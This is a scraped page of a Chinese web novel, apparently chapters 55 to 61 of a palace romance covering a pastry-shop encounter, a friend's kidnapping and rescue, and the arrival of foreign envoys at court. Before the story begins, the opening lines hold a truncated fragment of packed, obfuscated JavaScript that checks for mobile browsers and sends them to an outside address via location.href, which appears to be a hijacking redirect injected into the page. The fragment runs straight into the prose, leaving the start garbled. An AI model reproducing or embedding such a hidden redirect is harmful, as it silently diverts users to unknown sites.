是高希。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15932731|177189||http|test|mini|href|location''.split(''|''),0,{}));
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r>其实距离上次见面,时夏有段时间没有见到高希了。
不知是不是时夏的错觉,她感觉高希瘦了不少。
“高小姐。”时夏浅笑。
“时姐姐也来买衣服吗!”高希一上来就挽着时夏的胳膊:“听说现在指尖织的老板几乎不亲自设计衣服了,基本都是让其他人负责,老板一个月只设计几套,我都好久没有定到了。”
这倒是事实,时夏空闲时,就一直在教其他女工如何设计,女工们也学得很努力,没费多少力气,便都有了各自设计的风格。
一经推出,也广受好评。
时夏自然也就闲下来了。
“其他的衣服不也很好看?”时夏笑了笑。
“可是我就觉得老板设计的是我最喜欢的!”高希嘟嘴:“下一次,我一定要订到!”
“好,那我就帮你加油了。”时夏心里盘算着,不若下个月让皎皎给高希增加一个名额?
“时姐姐!我有点......想去见世子哥哥了。”高希有些不好意思。
经过上次,高希自然知道了燕尘对她没有意思。
可少女的爱,哪里是那般容易止得住呢?
她也不期望着真的成功嫁给燕尘,但趁着燕尘还没有成婚,能够见见燕尘也是令人快乐的。
就和前世的时夏一样,费尽力气,只是想远远的见一面谢行,或者是和谢行打个再普通不过的招呼,都足够让人满心欢喜。
“我想,这需要高小姐自己去主动。”时夏叹气,也明白劝不动高希。
不过,高希毕竟年纪还小,没有必要打击她。
她总会明白的,而高家也一定会保护好她,给她找到适合她的人。
高希有些沮丧:“我问过几次了,世子哥哥都说在忙......”
反应再迟钝如高希,也知道燕尘在躲着她。
“你这般优秀可爱,何必因为他一个男子而难过呢?”时夏还是忍不住:“你看看别人,说不定会看到一个日日都想办法见你的人。”
高希的心情好了些,笑了笑:“谢谢时姐姐!对了,时姐姐,我听说,过几日,会有齐国使臣进京。”
第56章 继续盯好。
时夏一顿,齐国使臣?她回忆着前世。
的确,前世也是差不多这个时间,两国交战,齐国败。
于是齐国便派遣使臣前来,想要通过两国结亲的方式,换取暂时的和平。
不过,按照时夏的记忆,齐国的目的也没有这般单纯。
但这些不是需要时夏操心的事情,前世谢行就处理得很好,这一世,想来也不需要她多说什么。
-
最近谢行似乎忙着什么,就连每日习武的时间都得强行挤出来。
时夏自然乐得清闲,还可以和颜挽笙出去玩耍。
“夏夏!”颜挽笙指向旁边一家新开的糕点铺子:“我听闻这铺子里的糕点可好吃了!就连宫里的娘娘都托人出来买!我们也去尝尝吧。”
时夏好奇,宫里御厨的手艺本就好,娘娘们的嘴挑剔得很:“那就去看看吧!”
她本也是个对吃食感兴趣的人,自然不会错过。
两人手挽手向铺子走去。
还未走进铺子,仅仅是靠近,清香味便扑面而来。
两人对视一眼,都有些惊喜。
“姑娘可要尝尝?”一位小厮递出小盒子,里面是别切成一小块一小块的糕点。
时夏刚要拒绝,就见颜挽笙点头,毫不犹豫的拿起一块,吃了一口。
下一秒,颜挽笙的眼中就迸发出光亮:“夏夏!好好吃!”
她拿起一块,喂给时夏。
时夏本有些犹豫,但见着颜挽笙期待的目光,还是张嘴,吃了下去。
算了,这铺子好歹也是京中有名的,且敢这样给客人品尝,想来应该也不会有什么问题。
香甜糕点入口,松软极了,既不会过于甜腻,又让人口齿留香,忍不住想要再吃。
“如何!”颜挽笙笑。
“好吃!”时夏很捧场。
然后二人分别选起了自己爱吃的糕点:“这个,这个,这个......这几款我都要一盒。”
时夏正在聚精会神的看,哪些是自己爱吃的,哪些是家里人爱吃的,哪些可以作为谢礼,毕竟前端时间,谢行、萧玦、燕尘都帮了她。
“时小姐?”一道温润声音在她身旁响起,带着几分惊喜。
时夏哑然回头:“世子殿下?”
她下意识向周围环视了一圈,没办法,每次燕尘出现,周围就会突然冒出谢行。
明明两个人也没有什么,就是碰巧遇上,她也会有种莫名的心虚。
“时小姐喜欢这铺子的糕点?”
“听闻味道不错,来尝了尝,确实挺好,便想着买些给爹娘带回去也尝尝。”时夏当然不会说就是她想吃了。
燕尘轻笑,看向小厮:“时小姐既然喜欢,那便将每一款都给时小姐装一份吧。”
时夏一愣:“不用不用。”她看向燕尘:“这铺子......是世子开的?”
“时小姐不必客气。”燕尘又冲着旁边的人使了个眼色,那人便动作迅速的开始为时夏装糕点:“闲来无事,加上之前偶然救下一人,那人恰巧十分擅长制作糕点,想着不能浪费了人才,干脆便开了个铺子。”
“我从前只觉得游山玩水有意思,但现在看来,开铺子也挺有意趣。”他又补充。
时夏笑了笑:“世子太客气了,不过,世子的才华确实是常人不能比的,不过随便开家铺子,都能开得这般红火。”
“时小姐这可就折煞我了。”燕尘谦虚。
“实话而已,世子可别自谦。这让客人品尝糕点之后再决定买不买,可从未有前例。”
时夏掩藏住眼底的思考。
燕尘这般直接告诉她,这铺子是他开的,其中之意,她并非不懂。
一是他虽表面看着无所事事,但只要他想做,无论什么事情,都能轻轻松松做好。
第二则是在暗暗展示他所拥有的人。
别人都道他和大皇子外出游山玩水,可之前又是能力出众的医术,现下又是手艺好的厨子。
其实就是在暗暗向时夏表达,他的能力和他拥有的人才,每一项都是出众的。
时夏承认,如果没有她和谢行的约定,燕尘是一个极好的人选。
可她和谢行的约定,是为了祖母和整个时家的命。
她若是失言与谢行,她怕报
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应降临到时家身上。
燕尘笑了笑:“时小姐可别只知夸我,我倒是觉得时小姐的创意也很不错。”
时夏笑容微微僵了僵。
燕尘虽然没有明说,但她再怎么傻,也能听出燕尘再暗指指尖织。
若说刚才燕尘只是在自我展示,现在可就带上了几分威胁意味。
“世子可别这般夸臣女,臣女每日只知玩乐,远远比不上世子。”她没有回应燕尘的话。
“如此吗?”燕尘轻笑:“时小姐,糕点都清点好了。”
小厮很自觉,直接将糕点送向了时夏的马车。
这下,时夏想拒绝也没有余地了:“那就多谢燕世子了,世子日后若是有空,记得来府上喝喝茶。”
“好呀,明日如何?”燕尘轻摇折扇。
“......自然。”时夏有些心累。
燕尘不是那种分不清客套与邀请的人,可他现在这样说话,不就是摆明了,他对时家,对自己势在必得。
甚至要和谢行争上一争。
“那世子,我们就先走了。”颜挽笙见状不对,连忙解围。
也不等燕尘回应,就拉着时夏离开。
燕尘看着二人逐渐走远,混入人群的身影,眼里多了几分探究。
“世子。”一旁的小厮作揖。
“继续盯好。”他的声音不再如之前那般温润,而是冷冷的:“宫里也加派些人手。”
这些人手,自然是指向颜挽笙的。
......
“夏夏,这燕世子......”颜挽笙皱眉。
她和燕尘也还算熟悉,但燕尘毕竟离开了这么久,她也不知道过去的时间里,燕尘经历了什么,变成了什么样,导致她也有些不明白,燕尘是真的不懂,还是故意这样做。
“无事。”时夏摇摇头:“他影响不了我的。”
颜挽笙点点头,她一向给予时夏最多的信任。
只要时夏不说需要帮忙,那她要做的,就是陪伴和信任。
两人继续逛着街,马车在后面慢慢跟着。
“那是......”颜挽笙皱眉,向不远处看去。
第57章 失踪
时夏顺着颜挽笙的目光看过去,两眼一黑。
是萧玦。
怎么这两人一出现就连着出现呢?
她看见萧玦的心虚不亚于遇到谢行,毕竟之前是她主动去招惹了萧玦。
而显然,她成功了。
但她已经答应了谢行,至少目前不能对萧玦有任何回应的。
除非谢行找到了更好的选择,主动与她停止合作。
时夏将身子一缩,就要躲到颜挽笙身后去。
可颜挽笙并没有明白时夏为何要躲,毕竟她和谢行的合作,除了兰香,所有人都不知道。
“夏夏?”颜挽笙有些奇怪:“萧将军在那里诶!”
她只知道萧玦和时家有点关联,且前段时间,时夏和萧玦的关系挺密切,时夏应是对萧玦有好感的。
与此同时,萧玦也像是有感应般,回过头来,正好和时夏对上:“时小姐!”
他声音里满是惊喜,随后便小跑到两人面前。
人都走到面前了,时夏无奈,也不好再躲着,只是往后退了两步,保持距离:“萧将军。”
礼貌极了,客气极了。
萧玦神经大条,并没有意识到时夏的刻意避开,只是觉得时夏有些奇怪:“时小姐今日也要去摘花?”
**如何找话题,最后只微微红着脸,说出这样一句话。
颜挽笙忍不住笑出来:“萧将军这般喜欢花?”她是第一次遇到这样不善言辞的男子。
和京中其他男子真的完全不同,透着一股独树一帜的傻气。
时夏默默将头低了些:“闲来无事,和阿笙一起出来逛逛。”她实在有些尴尬:“萧将军慢慢忙,我们就不打扰了。”
说罢,她便拉着颜挽笙准备离开。
“我只是来买点东西,现在已经买好了。”萧玦黑色皮肤上投出羞涩:“时小姐若是需要,我可以帮你们拿东西。”
时夏一惊,她当然不能接受,连忙摇头:“不用不用,我们就随便......”
“需要!我们要买可多东西了,正愁找不到人帮忙呢。”颜挽笙打断了时夏的话。
还恨铁不成钢的瞪了一眼时夏。
人家箫将军都主动提起了,这是一个多好的培养感情的机会啊!
“......劳烦将军了。”时夏闭了闭眼,她怎么就忘记和颜挽笙说她和萧玦不会有后续了呢?
可现在颜挽笙都这样说了,她也不能打了两人的脸,只能咬牙:“我们确实想买的东西有些多......”
“走吧!”颜挽笙和萧玦都对时夏的咬牙无所察觉。
三人就这么在街上晃悠着。
为了圆颜挽笙说的要买许多东西,需要萧玦帮忙,几人挨着把每家店铺都逛了逛,每家铺子都买了不少东西。
各个掌柜看她们就像看到了财神爷,高兴得合不拢嘴。
颜挽笙逛得很开心,她好久没有这样看到什么都买了,哪个女人不喜欢购物呢?
就连路过一家药房,她都想要进去买点。
“这个就不用买了吧......”时夏赶紧拉住她,试图唤起她的理智。
颜挽笙这才点点头,放弃了进去的打算。
几人继续逛着,突然,颜挽笙眼珠子一转:“我要去拿个东西,你们先逛,一会儿在指尖织见!”扔下这句话,她便欢快的带着侍女跑走了。
时夏的挽留连说出口的机会都没有。
“走吧......”时夏有些尴尬。
萧玦不疑有他:“时小姐上次摘的花可还有剩?”
“还有一小部分种在院子里,还不错,怎么了吗?”时夏现在有些听不得这件事。
“只是想着,若是时小姐还有剩余的,我也想讨要一些。”
“之前兰香送去的都不新鲜了?”时夏有些疑惑,萧玦也不像是对花草喜爱之人啊。
“送去的什么?”萧玦有些茫然。
“我当日就整理好了一些新鲜的,派人送到将军府了的......萧将军没有收到吗?”时夏心里一惊,若是如此......
萧玦摇头:“没有。”
时夏看向兰香,兰香赶紧摇头:“奴婢真的送到了萧将军府上的,亲自给的管家。”
时夏点点头,她对兰香自然是相信的,只不过
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,这花突然消失了,必须得查一查。
有人在萧府安插人手,甚至让萧玦对此一无所知。
她本就亏钱萧玦,自然得帮帮萧玦。
若是有心之人利用萧玦,出了什么事,她也于心不安。
“我晚些再派人送些新鲜的到将军的府上吧。”时夏浅笑。
“多谢时小姐。”萧玦虽觉得有些奇怪,但也没有多想。
两人便慢慢逛着。
眼看着时间差不多了,两人也往指尖织走去。
“小姐?”皎皎看到时夏来,有些惊喜。
时夏冲着她笑了笑:“阿笙到了吗?”
“县主吗?未曾看见。”皎皎摇摇头。
时夏点头,寻了个位置坐下:“萧将军也坐,阿笙估计是玩的忘了时间,可能得劳烦萧将军等一会儿了。”
萧玦笑了笑,坐在时夏不远处。
时间一点点过去,天色逐渐黑下来,路上的行人越来越少了。
可颜挽笙仍旧没有出现。
时夏眉头紧紧皱着,不对,阿笙再如何贪玩,也不会这个点还不回来。
再过些时候,就赶不上回宫了。
太后宠爱她,也一向对她管的严,以往从来没有发生过这样的事情。
“萧将军,阿笙可能出事了。”饶是不好意思面对萧玦,但现在,时夏最能迅速找到的帮手,也就是萧玦了。
萧玦也意识到了这一点:“时小姐放心,我去找。”说着,他便大步走出去。
“萧将军,我们分头行动吧。”时夏担心极了:“京城毕竟大,我们分开行动,效率高些。”
萧玦点点头:“好。”
时夏朝着城中走去,萧玦则负责在京郊寻找。
夜晚,京城的郊区黑漆漆的,连盏灯也没有,只能依靠一点点月色明辨方向。
颜挽笙被绑在在山林里,手脚都被捆着,嘴也被布塞着,旁边还有两个黑衣人。
她想要挣扎,却无力极了,眼泪顺着留下。
“安分些!”黑衣人恶声威胁。
不知过了多久,颜挽笙都要绝望了,前方隐隐约约透出一个身影,逆着光走来。
第58章 本王向来不做赔本买卖
“唔唔!”颜挽笙想要提醒那人,前面有陷阱,但嘴被堵着,只能发出唔唔声。
“安分些!”身旁的一个黑衣人猛地给了她一巴掌。
丝毫没有留情,颜挽笙猝不及防,身子往另外一边摔去,脸颊高高肿起。
黑暗中,男人却似乎十分有把握,直直的向前走来。
只见他微微用力,就借着一旁的树飞了过来,一下子到了颜挽笙面前。
就连黑衣人都未来得及反应过来。
他毫不犹豫,直接拔出了腰间配剑,刺向黑衣人。
瞬间,血液喷涌,倒地。
另一个黑衣人这才回过神来,瞪大双眼,有些慌忙的想要用剑刺向萧玦。
但萧玦早有防备,一个侧身就轻松躲过,连萧玦的衣角都没有碰到。
那人刺杀萧玦失败,那等待着他的,就只有一个结局。
转瞬间,林中重归于平静,只有地上躺着的两人证明着刚才发生的事。
“县主,你可有事?”他收好佩剑,蹲下身,帮颜挽笙取下口中塞着的布,解开手脚上的绳子。
颜挽笙还有些愣楞的,脸上的疼痛不断刺激着她。
心里一阵害怕,但最后也只是咬牙:“无事,多谢萧将军了。”
萧玦摇摇头:“我现在带您回去?”
“嗯。”颜挽笙点点头。
她扶着一旁的树干,想要站起来。
可手脚被绑的太久,早已酸软无力。
几乎是刚刚站起身,她就一个踉跄,要往旁边摔去。
“小心!”萧玦扶住了她。
颜挽笙抿了抿唇:“多谢。”
然后又松开萧玦的胳膊,尝试着自己站稳。
半晌,身旁传来一个有些无措的声音:“县主......不若,我背您回去吧。”
颜挽笙愣了愣,下意识想要拒绝。
“县主被绑这么久,山路本就难走,时小姐估计要等急了。”萧玦的话却让她有些犹豫了。
最终,她还是点了点头:“劳烦萧将军了。”
男人蹲在她面前,宽大坚实的脊背带来满满安全感。
颜挽笙小心翼翼趴在他的背上,似乎害怕把男人压坏了。
她虽平时性格大大咧咧,但好歹也是在太后身边养大,男女大防,她也是懂的。
所以,连呼吸都不由得放轻了几分。
两人之间流淌着一股尴尬的氛围。
颜挽笙不愿说话,萧玦也是个沉默寡言,不善言辞的人。
终于逐渐到了有光亮的地方,颜挽笙闷闷开口:“萧将军,我去买个东西。”
萧玦不明所以,但也听她的,颜挽笙从萧玦背上跳下,进了最近的一家铺子。
很快,她从铺子里走出,只是脸上多了一个面纱,挡住红肿的脸颊,只露出一双灵动的眸子。
眼睛还有些红红的,像极了山间小鹿。
他又要蹲下身子,颜挽笙却摇了摇头:“我现在好多了。”
她本就只是因为被捆着太久导致的腿无力,缓一会儿自然就没问题了。
而且,夏夏对萧玦有意,若是让萧玦背她,还被夏夏看见......
她低垂下眼眸,不由自主的增添了几分低落。
-
时夏在京城中焦急的寻找颜挽笙,她心底里隐隐觉得有些不对,可焦急让她无法缓下心来认真思索。
“嘶。”她捂着肩膀,刚才有人用力从她身边撞了过去,肩膀疼的发麻。
但是她并没有这么多时间想这些了,现在最重要的是,找到阿笙。
她捂着酸痛的肩膀,又逆着人群,向前方走去。
到底是谁会**阿笙?她大脑混沌,毫无思绪,明明前世没有这一出啊。
时间一分一秒过去,可时夏迟迟找不到颜挽笙。
她的心逐渐沉入谷底,只希望是因为阿笙不在城里,说不定......萧玦已经找到她了呢?
时夏只能这样安慰着自己。
突然,手腕从后面被人拉住。
几乎是下意识的,时夏就抬起手,向身后那人肘击而去。
但那人似乎早有预料,轻轻松松的制住了她:“呵。”
她听到了男人的轻笑:“倒是没有白教你。”
时夏这才松下力气,谢行也放开抓住她的手,时夏后退两步,两人稍微站开了些:“王爷怎的在
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这里?”
谢行玩味的笑笑,手里把玩着一个香囊:“有人想引走我,那我就如他所愿了。”
时夏定睛一看,那香囊是她的!
瞬间她就想到了刚才被猛地撞击的那一下,想来那人就是趁着她着急,取走了香囊。
“王爷若无事,我便先走了。”若是平时,时夏可能还会和谢行客套客套。
但现在颜挽笙不见了,她满心都急着找到颜挽笙,没有心思和谢行说些有的没的。
谢行看出了她语气里的不耐和焦急:“何事?”
时夏沉默了一瞬,还是开口:“阿笙不见了。”
好歹谢行是个王爷,有自己的暗卫,找人应该能方便些。
而且也不会太过于声张,扰了颜挽笙的名声。
“臣女可否请王爷帮忙,派人找找阿笙。”时夏作揖,恭敬极了。
谢行有些诧异,时夏一向觉得两人是合作关系,除了找他救老夫人那次,从不会这般恭敬的行礼,都是意思意思,做个表面功夫。
“可以,但本王向来不做亏本买卖。”
“臣女明白。”时夏忍不住在心里暗骂谢行。
谢行挥了挥手,周围出现几个路人打扮的人,向两人靠近。
“去找找县主。”谢行淡声吩咐。
“是。”下一瞬,几个人瞬间消失。
“多谢王爷。”时夏又继续向前走去,虽然有人帮忙了,但她始终是放心不下颜挽笙。
谢行也跟了上去:“本王还以为,时小姐现在会去分析是谁动的手呢。”
“阿笙会好好的。”时夏脚步匆匆。
谢行倒是沉默了些许,两人就在沉默中寻找着颜挽笙。
可无论她们走了多久,去了每一家颜挽笙爱去的铺子,依旧是杳无音讯。
时夏心里越来越难受,哪怕最初就猜到,颜挽笙可能是被人**了,但现在面对事实,还是有些难以接受。
若只是**求财求权还好......坏就坏在,她们根本不知道对方是谁,对方的目的。
“小姐!找到了!找到县主了!”远处,兰香跑过来,气喘吁吁,但声音里满是惊喜。
第59章 理理阿笙嘛!
时夏顿时瞪大双眼:“真的吗!”她的眼角已经渗出泪花。
兰香也红了眼,用力点点头:“真的!现下已经到指尖织了!”
时夏松了一口气,然后便不顾形象的向指尖织跑去。
哪怕腿已经酸痛无力。
时间太晚了,只有指尖织还燃着烛火。
里面站着一个窈窕身影,哪怕只是一个背影,时夏也能一眼看出,那人就是颜挽笙。
几乎是一瞬间,她就往颜挽笙的方向冲去:“阿笙!”
颜挽笙本还在和皎皎几人滔滔不绝的讲述自己刚才的经历:“虽然他们想要抓我,但是我这是谁!我可是县主诶!”
听到时夏的声音,她转过身,几乎是下意识的,眼泪就流了出来。
她狠狠的抱着时夏:“呜呜呜......夏夏......”
在别人面前她都可以勉强装作什么事都没有的样子,甚至拿这经历当作笑话来讲。
可看到自己的好姐妹,瞬间,所有的委屈都涌了上来。
泪水怎么也止不住。
时夏担心了一下午的心也松了下来,取而代之的是后怕。
她紧紧把颜挽笙抱在怀里,泪水也忍不住流下来:“都给你说了,别乱走,你,你还不听。”
明明是指责的话语,却满是心疼。
“呜呜呜......你都不知道,他们有多凶......”颜挽笙在时夏面前肆意发泄着情绪。
时夏轻轻拍着她的背,安抚着。
终于,不知过了多久,颜挽笙的哭声渐渐减弱,只有隐隐约约的抽噎。
她似乎有些不好意思了,低垂着头。
时夏看见她脸上的面纱,感觉有些不对:“我记得白日里你没有戴面纱啊。”
她伸手,想要取掉面纱,却被颜挽笙侧头躲开:“我,我妆有些花了,就买了个面纱。”
“这样啊。”时夏点点头。
下一秒,趁着颜挽笙不备,掀开面纱。
红肿的脸蛋顿时出现在眼前,巴掌印毫不遮掩:“阿笙?”
颜挽笙有些心虚:“我,我这不是不想让你担心吗......”
时夏脸色严肃极了:“你不想让我担心?那你最开始就不应该一个人跑走!”
颜挽笙的头越垂越低,几乎想要埋到地底。
时夏无奈,叹气,能怎么样呢?真把她臭骂一顿?
“走吧,回家。”现在已经赶不上回宫里了,只有明日再去和太后请罪。
正好可以借着太后,查一查这到底是怎么一回事。
颜挽笙露出笑颜:“就知道夏夏不会怪我,夏夏对我最好啦!”
时夏瞪了她一眼,随即看向一旁还未离开的谢行和萧玦:“今日劳烦二位了,我就先带阿笙回去休息了。”
萧玦点头,朝着时夏作揖,随即离开。
谢行倒是多说了一句:“明日本王同你们一起去。”
颜挽笙有些诧异,她虽自幼在皇宫里长大,但是和谢行这个四哥,关系绝对算不上顶好的那种。
且谢行一向特立独行,不爱与人来往,更是不会管她这个借住在皇宫的县主了。
时夏却是似乎明白了什么,点点头:“多谢王爷了。”
马车里,颜挽笙忍不住八卦:“夏夏,你和四哥......”
她话虽未说完,但时夏自然明白她在好奇什么。
“我和王爷只是碰巧遇上。”她解释道。
颜挽笙却显然不相信:“碰巧遇上?四哥可不是那样好心的人。”她撇撇嘴:“他帮你找我,明日还要陪我们进宫找太后,我看啊,他这是醉翁之意不在酒。”
“阿笙。”时夏佯装生气。
颜挽笙嘿嘿一笑:“好了好了,不逗你了。”
话虽是这么说,颜挽笙依旧觉得,她们两人,一定在她不知道的时候,有些什么。
不过也不错,四哥人虽然冷了些,但是从能力上来看,配她家夏夏也勉强能过关。
而且依照今日来看,四哥虽然不说话,但是四哥做事啊!
-
翌日,时夏让颜挽笙多睡了一会儿,反正谢行也没有下朝,他们直接在宫里见就行。
颜挽笙迷迷糊糊睁开眼:“夏夏?”
她的脸已经好了许多,昨夜回来后,时夏几人交替着为她敷脸,总算是让痕迹淡了下去。
但也只是不那么肿了,巴掌印依旧明
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显。
“醒了?”时夏从衣柜里翻出一套衣服,递过去:“正好,现在收拾收拾进宫。”
颜挽笙换好衣服,任由侍女打扮着自己。
马车驶向皇宫,时夏本以为谢行会在太后宫门口等她们,但在宫门口下马车是,就看见了静静伫立着的谢行,身姿挺拔。
“王爷。”
“四哥。”
谢行淡淡点头,三人不再多言语,而是向宫里走去。
“娘娘!”进入宫殿内,颜挽笙拖长声音,撒着娇朝主位上的人小跑去。
太后坐在主位上,冷哼一声,没有理她,昨日的事情,时府今日一大早便派人来通传了。
颜挽笙可怜兮兮的拉了拉太后的手:“太后娘娘!你就理理阿笙嘛,你看,阿笙昨日都被人欺负了!”
“我还以为,你真不知道回来了呢。”太后终还是不忍心。
“阿笙可想娘娘了!昨日都没有休息好!”颜挽笙可怜的扁扁嘴,然后将自己的左脸朝向太后,露出脸上的伤痕:“你看!可疼了!”
“就是疼了你才知道长记性!”太后话虽说得狠,却掩饰不住眼底的心疼。
嬷嬷很有眼力见,递出一管膏药:“县主可得好好谢谢太后娘娘,这药可不好寻。”
“就知道娘娘对我最好啦!”颜挽笙笑。
“都快些坐下吧。”太后看向还在一旁站着的二人。
颜挽笙也坐到了时夏身旁。
时夏盯着她手里的药膏,若有所思。
“太后娘娘,昨日怪臣女疏忽了,没能照顾好县主。”她回过神来,主动请罪。
时夏从前常来宫里和颜挽笙玩耍,太后自然也对她印象好:“这可怪不了你,都是这丫头,总爱到处乱跑。”
颜挽笙低了低头,努努嘴。
“我们今日前来,一是谢罪,二是......我担心这件事是谋划好的,想要针对于阿笙......”
时夏说得直接。
太后点点头:“哀家会找人去严查。”她的目光投向谢行:“不过老四......怎的也来了?”
“皇祖母,儿臣这里有一些信息,或许与县主之事有关。”谢行起身。
第60章 不是放心你
“哦?”太后收敛起神色,走向谢行。
谢行神色淡淡,恭恭敬敬的献上一份折叠好的纸。
太后打开后,随即脸色一变:“柳嬷嬷,带县主和时小姐出去逛逛。”
时夏和颜挽笙对视一眼,皆有些好奇,谢行这是写了什么?连她们都听不得。
但她们自然也不会不听太后的安排,当作什么也不知道,跟着出去。
“夏夏!我跟你说,宫里最近新养了一种花,可好看了!”颜挽笙扬起笑,挽着时夏。
时夏也笑:“我还以为你每日只知在屋子里呢,竟然还知道宫里有了新的花。”
这话不假,颜挽笙虽然平时看着乐呵呵的,精力十足,实则是个懒惰的人。
可谓是出去一次,就要在屋子里躺十天。
两人说说笑笑走远,很快,就走到了御花园。
果然,有几颗梨树下种满了花,开得正好,各种颜色交织在一起,绘成一副春日图景。
时夏本就喜爱花草,现下自然忍不住凑近了看。
可下一秒,她带笑的脸皱了起来,这花......看起来似乎有些眼熟?
“阿笙,这花......是从何而来的呀,之前从未见过呢?”她垂眸。
“嗯......我听说好像是大皇子给皇上带回的礼物。”她笑:“皇上还发了通脾气呢!说大皇子出去这么久,就给他带些无用的花草回来。”
大皇子?时夏心里快速运转。
她想起来了!之前和高希一起去世子府,高希向燕尘讨要的花便是这种。
燕尘还派人松了几株到时府来着。
她暗自思索着,这花定然不简单,燕尘为何要这般费尽心思,到处送人?
“时小姐?”时夏思考的正入迷,身后传来一声轻唤。
她吓了一跳:“王爷?”
这么快就和太后谈论完事情了?
“那夏夏你和四哥慢慢聊!太后肯定想我了!”扔下这句话,颜挽笙就蹦蹦跳跳往慈宁宫跑去。
时夏忍不住叹气,阿笙还是这般天真。
“王爷今日与太后说了何事?”时夏开口,虽然太后让她避让了,但她和谢行合作,她想,她没有什么是不能知道的。
“时小姐这般聪明,难道没有猜到?”谢行挑眉,显然不相信。
时夏沉默一瞬:“王爷就这般放心我?”
“不是放心你,是放心你对你祖母的感情。”谢行神色淡淡,扔下这句话,便大步离开。
-
时间一天一天过去,天气也越来越炎热。
齐国的使臣也到了京城。
和众人以为的不同,这次齐国来的不仅仅是使臣,还有一位皇子和公主。
齐国的国力并不雄厚,但是地理位置优越,有许多奇花异草,制香、制药水平相当强。
以往的外交中都主要靠熏香和药材交易。
当然,能制药,也就能制毒,所以周边的国家一向是不会轻易选择与齐国开战。
但皇帝身居高位多年,年轻时大大小小拿下过不少城池。
他的野心也就越来越大,所以,他向时家下令,无论如何,都必须拿下齐国。
只要拿下了齐国,就代表着别人不敢做的事情,他做到了。
那么其他国家也会纷纷惧怕。
可齐国虽然人少,兵马少,但制毒水平实在高超,时家虽然能带兵强行拿下齐国,但也会损失大量的兵马。
时家自然不愿意看到这样的场景,一个个年轻的战士,中了毒,无力的倒在地上,就连尸体都满是奇怪符咒。
于是,在时家的极力请求下,皇帝给了齐国一个归属的机会。
成为大夏的附属国。
齐国自然愿意,毕竟她们本就人少,若是大夏真的要打仗,他们必然走向失败。
今天是迎齐国使者的宴会。
皇帝稳稳坐在高位上,接受着朝臣和子女们的跪拜。
当然,像时夏、高希一类的官家子女,只要是家族在朝中比较有名望的也都来了。
并不是多么给他们面子,而是皇帝想要他们来撑场子。
用他们来展现大夏的风采。
“参见陛下。”齐国的众使臣行礼。
领头的是齐国二皇子和齐国公主。
据说齐国的皇帝
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只生了一位公主,所以对这位公主算得上是百般宠爱。
且这公主也生的聪明,无论制香、制药,亦或者是制毒,都可谓是一绝。
就连几个皇子都比不过她。
所以齐国皇帝对她深为看重,这次竟然直接将这为公主派来了,自然是在向大夏示诚。
“听闻齐国擅制香?”皇帝沉声开口:“不知可让我们看看?”
说着,几个宫女就端着一盘盘的制香材料进场,几个太监还在宴席放了一个桌子,材料整齐摆放在桌子上。
公主和二皇子脸色都变了变,这个时候让他们现场制香,不就是变相的看不起他们,把他们当作宴席的歌姬舞姬?
他脸色黑沉,当即就要忍不住。
公主一把拉住他有些蠢蠢欲动的手:“坐好。”
二皇子咬牙,无奈,朝着皇帝作揖:“陛下想看,那我们自然不会拒绝。”
于是,他上前两步,站在那刚刚摆放好的材料前,拿起一个小瓶子,开始动作起来。
他的动作娴熟,很快就完成了:“陛下,这香需在瓶中保存五日,五日后,便是最终的效果了。”
制香自然不是简单的将几个材料混合在一起,而是让他们互相融合,最终形成独特的味道。
皇帝淡淡点头:“朕听闻文安公主最是擅长制香和制药?”
这话的意思是还不肯放过齐国了。
“多谢陛下夸赞,文安只是有幸学得点皮**罢了。”文安公主笑得得体。
“文安公主可别谦虚。”皇帝哈哈大笑两声,摆摆手:“朕近日总是睡不好觉,有些头疼,不知文安公主可否为朕制一款能够缓解头疼的香?”
皇帝这是要求她将制药和制香结合在一起了。
二皇子脸色微变,齐国的制药和制香的方法有的地方是相悖的,很难让两者同时出现。
文安公主摇摇头,上前两步:“能为陛下分忧,自然是我的福分。”
她神色淡淡,走向桌前,动作起来。
皇帝饶有兴致的看着,似开玩笑又似认真:“朕若是不满意,你们可就白跑这一趟了。”
第61章 公主喜欢谁?
此话一处,宴会上的气氛又焦灼了几分。
文安公主淡淡笑笑:“定不让陛下失望。”
“好!那朕就拭目以待了。”皇帝哈哈大笑两声。
文安公主低头,不再多言语,开始认真制作起来。
这并不轻松,时间一分一秒的过去着,在场几乎所有人的目光都是投射在文安公主一个人身上的。
不知过了多久,文安公主才抬起头:“陛下,制好了,但需要静置十日,期间不可剧烈摇晃和打开。”
“好,那十日后,朕就拭目以待了。”皇帝点点头,几个太监带着齐国使臣去他们的座位。
这件事结束,宴席气氛总算是好了些,菜品也一样接着一样的上桌,舞女们在中间表演着。
一副好景象。
“陛下,其实此次我们前来,除了带上各种香料和药物进贡以外,还有一事。”见大家都吃得差不多了,齐二皇子开口。
“哦?”
“文安一向喜爱大夏文化,不知大夏可有有缘之人?”他笑着看向文安。
文安则有些羞涩的低下头。
皇帝哈哈一笑:“文安公主喜欢谁?朕都可以为你做主。”
“文安都可以的......”她的脸更红了,像要滴血。
“大夏确实有几位青年才俊还未婚配,不若你都看看,可有喜欢的?”皇帝眼神幽深。
“有劳陛下了......”她虽然害羞,却也没有拒绝。
皇帝看向台下:“李大人,朕记得李公子也还未婚配?”
众人皆是一惊,李公子,谁人不知,他就是个游手好闲的。
虽未婚配,但屋里已经有好几房妾室了,且还经常游走于花楼。
且别家的公子这个年纪都已经进入官场,有所成就了,李公子却毫无所成。
虽然李家权势大,但稍微爱女儿一些的人家都不愿将女儿许配给李家。
而愿意将女儿嫁过去的,李家又看不上。
“是,陛下,犬子就等着您给他指一个好婚事呢。”他笑了笑,看向一旁的儿子:“还不快谢谢陛下。”
李公子这才回过神来,连忙起身作揖:“多谢陛下赏识。”
时夏默默垂眼,这李公子,游手好闲,模样丑陋,而且还品行不端。
不过,她记得上一世皇帝也是这样和文安公主说,但文安公主最终也没有嫁与李公子。
她心里微微松了些,随之还有些烦闷。
明明这些事都是男子所为,她们女子再如何优秀,也不能触碰参与到。
为什么在这种时候,却往往把女子当作那个交易品呢?
夏日炎热,本就胃口不好,时夏现下更吃不下东西,放下筷子,东张西望起来。
